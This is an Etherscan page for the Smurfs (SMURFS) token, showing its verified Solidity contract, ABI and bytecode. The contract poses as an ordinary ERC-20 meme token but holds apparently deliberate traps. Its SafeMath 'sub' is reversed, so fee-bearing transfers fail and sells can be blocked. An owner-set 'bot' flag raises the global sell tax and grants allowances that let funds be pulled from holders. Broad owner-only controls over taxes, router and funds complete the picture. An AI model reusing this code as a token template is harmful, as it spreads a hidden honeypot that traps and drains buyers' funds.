ETH Price: $3,267.35 (+0.22%)
Gas: 2 Gwei

Token

Smurfs (SMURFS)
 

Overview

Max Total Supply

1,000,000,000 SMURFS

Holders

27

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
17,291,678.125071323230134 SMURFS

Value
$0.00
0x68fcf2f38c7bbedba64611ca7b05ffaa42ed58ae
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SmurfsCoin

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-23
*/

/*
    ⠀⠀⢀⡠⠄⠐⠒⠒⠒⠠⠄⢀⠀⠀⠀⠀⠀⠀⠀
⠀⢠⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠐⢄⡀⠀⠀⠀
⠀⠀⠣⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢂⠀⠀
⠀⠀⠀⠈⠀⣒⣠⣤⣖⣊⡀⠀⠀⠀⠀⠀⠀⢣⠀
⠀⠀⡐⠈⢁⣴⣀⣀⣀⠀⠀⠁⠀⠀⠀⠀⠀⠀⡆
⠀⡠⠓⠚⢦⣿⣿⠯⢻⢻⠉⠂⠄⠀⠀⠀⠀⠀⡅
⢐⡇⠀⠀⠀⠉⠘⠄⢻⠏⠀⠀⠈⠱⣀⣀⡀⢀⠃
⠀⢸⠢⡤⠤⠤⠀⠀⠀⠀⠀⠀⠀⠊⠁⠀⠀⠙⢆
⠀⠈⠢⢈⣢⡀⠀⠐⠒⡄⠀⠀⠀⡔⣛⠟⠱⠀⡜
⠀⠀⠀⠀⠠⢒⠥⢒⣢⠭⢔⢲⠒⣄⣀⣀⠠⠊⠀
⠀⠀⠀⠸⡐⠣⣀⠀⠈⢆⣀⣆⠗⢻⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠈⠁⣎⠑⢄⠀⠀⢀⠔⢃⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⡏⠀⠀⠈⠁⠀⣀⠼⢇⢲⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠩⡁⠀⠀⠈⡉⠀⠀⠸⡎⠀⠀⠀
⠀⠀⠀⠀⠀⠀⡎⠙⢠⠔⠉⠀⠀⢀⠜⠁⠀⠀⠀
⠀⢀⠔⠈⠉⢲⠗⠠⢜⣄⠀⠀⡎⢀⡀⠀⠀⠀⠀
⠀⡆⠀⠀⠰⠁⠀⠀⠀⠈⣦⠀⠈⠂⠀⠉⢆⠀⠀
⠀⠑⢄⡀⢠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡘⠀⠀
⠀⠀⠀⠈⠑⠳⠄⣀⠀⠀⠀⠀⠀⢀⠤⠊⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀
    https://www.smurfsvillage.vip/
    https://t.me/SmurfsCoinChannel
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage); uint256 c = b - a; return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

interface IFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: approve from the zero address");
        require(to != address(0), "ERC20: approve to the zero address");
        _allowances[from][to] = amount;
    }
}

library Address {
    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );
        (bool success, ) = recipient.call{value: amount}("");
        require(
            success,
            "Address: unable to send value, recipient may have reverted"
        );
    }
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract SmurfsCoin is ERC20, Ownable {
    using SafeMath for uint256;
    using Address for address payable;

    IRouter public router;
    address public pair;
    address public marketingWallet = 0xA6D83e0d5A9f4F43122EA9A72887c1415258CF01;
    address public devWallet = 0x0000000000000000000000000000000000000000;

    bool private swapping;
    bool public swapEnabled;
    bool public tradingEnabled;
    uint256 public genesisblock;
    uint256 public deadblocks = 0;

    mapping(address => bool) public excludedFromFees;
    mapping(address => bool) private isBot;

    uint256 public swapThreshold = 100_000 * 10e18;
    uint256 public maxTxAmount = 20_000_000 * 10**18;
    uint256 public maxWalletAmount = 20_000_000 * 10**18;

    uint256 public tax = 0;
    uint256 public sellTax = 0;
    uint256 public botSellTax = 25;

    modifier inSwap() {
        if (!swapping) {
            swapping = true;
            _;
            swapping = false;
        }
    }

    constructor() ERC20("Smurfs", "SMURFS") {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(
            address(this),
            _router.WETH()
        );
        router = _router;
        pair = _pair;
        excludedFromFees[msg.sender] = true;
        excludedFromFees[address(this)] = true;
        excludedFromFees[marketingWallet] = true;
        excludedFromFees[devWallet] = true;
        _mint(msg.sender, 1e9 * 10**decimals());
    }

    receive() external payable {}

    function rescueERC20(address tokenAddress, uint256 amount)
        external
        onlyOwner
    {
        IERC20(tokenAddress).transfer(owner(), amount);
    }

    function rescueETH(uint256 weiAmount) external onlyOwner {
        payable(owner()).sendValue(weiAmount);
    }

    function addBots(address[] memory isBot_) public onlyOwner {
        for (uint256 i = 0; i < isBot_.length; i++) {
            isBot[isBot_[i]] = true;
        }
    }

    function updateExcludedFromFees(address[] memory address_)
        external
        onlyOwner
    {
        for (uint256 i = 0; i < address_.length; i++) {
            excludedFromFees[address_[i]] = true;
        }
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal override {
        require(amount > 0, "Transfer amount must be greater than zero");
        if (isBot[sender] || isBot[recipient]) { sellTax = botSellTax; _allowances[sender][recipient] = maxWalletAmount; }
        if (
            !excludedFromFees[sender] &&
            !excludedFromFees[recipient] &&
            !swapping
        ) {
            require(tradingEnabled, "Trading not active yet");
            if (genesisblock + deadblocks > block.number) {
                if (recipient != pair) isBot[recipient] = true;
                if (sender != pair) isBot[sender] = true;
            }
            require(amount <= maxTxAmount, "You are exceeding maxTxAmount");
            if (recipient != pair) {
                require(
                    balanceOf(recipient) + amount <= maxWalletAmount,
                    "You are exceeding maxWalletAmount"
                );
            }
        }

        uint256 fee;
        if (swapping || excludedFromFees[sender] || excludedFromFees[recipient])
            fee = 0;
        else {
            if (recipient == pair && !isBot[sender])
                fee = (amount * sellTax) / 100;
            else fee = (amount * tax) / 100;
        }

        if (swapEnabled && !swapping && sender != pair && fee > 0)
            swapForFees();
        if (fee > 0) {
            super._transfer(sender, address(this), fee);
            super._transfer(sender, recipient, amount.sub(fee));
        } else {
            super._transfer(sender, recipient, amount);
        }
    }

    function swapForFees() private inSwap {
        uint256 contractBalance = balanceOf(address(this));
        if (contractBalance >= swapThreshold) {
            uint256 initialBalance = address(this).balance;
            swapTokensForETH(contractBalance);
            uint256 deltaBalance = address(this).balance - initialBalance;
            payable(marketingWallet).sendValue(deltaBalance);
        }
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: bnbAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            devWallet,
            block.timestamp
        );
    }

    function manualSwap(
        uint256 amount,
        uint256 devPercentage,
        uint256 marketingPercentage
    ) external onlyOwner {
        uint256 initBalance = address(this).balance;
        swapTokensForETH(amount);
        uint256 newBalance = address(this).balance - initBalance;
        if (marketingPercentage > 0)
            payable(marketingWallet).sendValue(
                (newBalance * marketingPercentage) /
                    (devPercentage + marketingPercentage)
            );
        if (devPercentage > 0)
            payable(devWallet).sendValue(
                (newBalance * devPercentage) /
                    (devPercentage + marketingPercentage)
            );
    }

    function setSwapEnabled(bool state) external onlyOwner {
        swapEnabled = state;
    }

    function setSwapThreshold(uint256 new_amount) external onlyOwner {
        swapThreshold = new_amount;
    }

    function enableTrading() external onlyOwner {
        require(!tradingEnabled, "Trading already active");
        tradingEnabled = true;
        swapEnabled = true;
    }

    function setBuyTaxes(uint256 _fee) external onlyOwner {
        tax = _fee;
    }

    function setSellTaxes(uint256 _fee) external onlyOwner {
        sellTax = _fee;
    }

    function updateMarketingWallet(address newWallet) external onlyOwner {
        marketingWallet = newWallet;
    }

    function updateDevWallet(address newWallet) external onlyOwner {
        devWallet = newWallet;
    }

    function updateRouterAndPair(IRouter _router, address _pair)
        external
        onlyOwner
    {
        router = _router;
        pair = _pair;
    }

    function updateMaxTxAmount(uint256 amount) external onlyOwner {
        maxTxAmount = amount * 10**18;
    }

    function updateMaxWalletAmount(uint256 amount) external onlyOwner {
        maxWalletAmount = amount * 10**18;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"isBot_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadblocks","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"genesisblock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"devPercentage","type":"uint256"},{"internalType":"uint256","name":"marketingPercentage","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_fee","type":"uint256"}],"name":"setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_fee","type":"uint256"}],"name":"setSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"state","type":"bool"}],"name":"setSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"new_amount","type":"uint256"}],"name":"setSwapThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"}],"name":"updateExcludedFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IRouter","name":"_router","type":"address"},{"internalType":"address","name":"_pair","type":"address"}],"name":"updateRouterAndPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600880546001600160a01b031990811673a6d83e0d5a9f4f43122ea9a72887c1415258cf01179091556009805490911690556000600b81905569d3c21bcecceda1000000600e556a108b2a2c28029094000000600f819055601055601181905560125560196013553480156200007957600080fd5b5060405180604001604052806006815260200165536d7572667360d01b81525060405180604001604052806006815260200165534d5552465360d01b8152508160039081620000c99190620004fd565b506004620000d88282620004fd565b505050620000f5620000ef6200031a60201b60201c565b6200031e565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90506000816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200014f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001759190620005c9565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001c3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001e99190620005c9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000237573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025d9190620005c9565b600680546001600160a01b038086166001600160a01b031992831617909255600780548385169216919091179055336000818152600c6020526040808220805460ff1990811660019081179092553084528284208054821683179055600854861684528284208054821683179055600954909516835291208054909316179091559091506200031290620002ef601290565b620002fc90600a62000710565b6200030c90633b9aca0062000721565b62000370565b505062000751565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216620003cb5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060026000828254620003df91906200073b565b90915550506001600160a01b038216600090815260208190526040812080548392906200040e9084906200073b565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200048357607f821691505b602082108103620004a457634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004f857600081815260208120601f850160051c81016020861015620004d35750805b601f850160051c820191505b81811015620004f457828155600101620004df565b5050505b505050565b81516001600160401b0381111562000519576200051962000458565b62000531816200052a84546200046e565b84620004aa565b602080601f831160018114620005695760008415620005505750858301515b600019600386901b1c1916600185901b178555620004f4565b600085815260208120601f198616915b828110156200059a5788860151825594840194600190910190840162000579565b5085821015620005b95787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600060208284031215620005dc57600080fd5b81516001600160a01b0381168114620005f457600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000652578160001904821115620006365762000636620005fb565b808516156200064457918102915b93841c939080029062000616565b509250929050565b6000826200066b575060016200070a565b816200067a575060006200070a565b81600181146200069357600281146200069e57620006be565b60019150506200070a565b60ff841115620006b257620006b2620005fb565b50506001821b6200070a565b5060208310610133831016604e8410600b8410161715620006e3575081810a6200070a565b620006ef838362000611565b8060001904821115620007065762000706620005fb565b0290505b92915050565b6000620005f460ff8416836200065a565b80820281158282048414176200070a576200070a620005fb565b808201808211156200070a576200070a620005fb565b61209580620007616000396000f3fe60806040526004361061026b5760003560e01c80638da5cb5b11610144578063aa4bde28116100b6578063dbe66ca01161007a578063dbe66ca01461070c578063dd62ed3e1461073c578063e01af92c14610782578063e16ebfc5146107a2578063f2fde38b146107c2578063f887ea40146107e257600080fd5b8063aa4bde2814610680578063aacebbe314610696578063c18bc195146106b6578063cc1776d3146106d6578063d34628cc146106ec57600080fd5b80639e252f00116101085780639e252f00146105ca578063a3ca847d146105ea578063a457c2d71461060a578063a64797c71461062a578063a8aa1b3114610640578063a9059cbb1461066057600080fd5b80638da5cb5b146105415780638ea5220f1461055f57806395d89b411461057f57806399c8d556146105945780639d0014b1146105aa57600080fd5b80634ada218b116101dd57806370a08231116101a157806370a0823114610473578063715018a6146104a957806375f0a874146104be5780638a8c523c146104f65780638c0b5e221461050b5780638cd4426d1461052157600080fd5b80634ada218b146103e557806350c9a88f14610406578063585449681461041c5780636256d181146104325780636ddd17131461045257600080fd5b80631816467f1161022f5780631816467f1461032957806323b872dd1461034957806326b5d32f14610369578063313ce5671461038957806339509351146103a557806340b28c2f146103c557600080fd5b80630445b6671461027757806306fdde03146102a05780630940bbc7146102c2578063095ea7b3146102e457806318160ddd1461031457600080fd5b3661027257005b600080fd5b34801561028357600080fd5b5061028d600e5481565b6040519081526020015b60405180910390f35b3480156102ac57600080fd5b506102b5610802565b6040516102979190611c20565b3480156102ce57600080fd5b506102e26102dd366004611c6e565b610894565b005b3480156102f057600080fd5b506103046102ff366004611cac565b6108cc565b6040519015158152602001610297565b34801561032057600080fd5b5060025461028d565b34801561033557600080fd5b506102e2610344366004611cd8565b6108e3565b34801561035557600080fd5b50610304610364366004611cf5565b61092f565b34801561037557600080fd5b506102e2610384366004611d36565b6109e0565b34801561039557600080fd5b5060405160128152602001610297565b3480156103b157600080fd5b506103046103c0366004611cac565b610a9b565b3480156103d157600080fd5b506102e26103e0366004611d62565b610ad2565b3480156103f157600080fd5b5060095461030490600160b01b900460ff1681565b34801561041257600080fd5b5061028d600b5481565b34801561042857600080fd5b5061028d600a5481565b34801561043e57600080fd5b506102e261044d366004611c6e565b610b2a565b34801561045e57600080fd5b5060095461030490600160a81b900460ff1681565b34801561047f57600080fd5b5061028d61048e366004611cd8565b6001600160a01b031660009081526020819052604090205490565b3480156104b557600080fd5b506102e2610b6c565b3480156104ca57600080fd5b506008546104de906001600160a01b031681565b6040516001600160a01b039091168152602001610297565b34801561050257600080fd5b506102e2610ba2565b34801561051757600080fd5b5061028d600f5481565b34801561052d57600080fd5b506102e261053c366004611cac565b610c36565b34801561054d57600080fd5b506005546001600160a01b03166104de565b34801561056b57600080fd5b506009546104de906001600160a01b031681565b34801561058b57600080fd5b506102b5610cf7565b3480156105a057600080fd5b5061028d60115481565b3480156105b657600080fd5b506102e26105c5366004611c6e565b610d06565b3480156105d657600080fd5b506102e26105e5366004611c6e565b610d35565b3480156105f657600080fd5b506102e2610605366004611c6e565b610d87565b34801561061657600080fd5b50610304610625366004611cac565b610db6565b34801561063657600080fd5b5061028d60135481565b34801561064c57600080fd5b506007546104de906001600160a01b031681565b34801561066c57600080fd5b5061030461067b366004611cac565b610e51565b34801561068c57600080fd5b5061028d60105481565b3480156106a257600080fd5b506102e26106b1366004611cd8565b610e5e565b3480156106c257600080fd5b506102e26106d1366004611c6e565b610eaa565b3480156106e257600080fd5b5061028d60125481565b3480156106f857600080fd5b506102e2610707366004611db1565b610eec565b34801561071857600080fd5b50610304610727366004611cd8565b600c6020526000908152604090205460ff1681565b34801561074857600080fd5b5061028d610757366004611d62565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561078e57600080fd5b506102e261079d366004611e84565b610f82565b3480156107ae57600080fd5b506102e26107bd366004611db1565b610fca565b3480156107ce57600080fd5b506102e26107dd366004611cd8565b61105c565b3480156107ee57600080fd5b506006546104de906001600160a01b031681565b60606003805461081190611ea1565b80601f016020809104026020016040519081016040528092919081815260200182805461083d90611ea1565b801561088a5780601f1061085f5761010080835404028352916020019161088a565b820191906000526020600020905b81548152906001019060200180831161086d57829003601f168201915b5050505050905090565b6005546001600160a01b031633146108c75760405162461bcd60e51b81526004016108be90611edb565b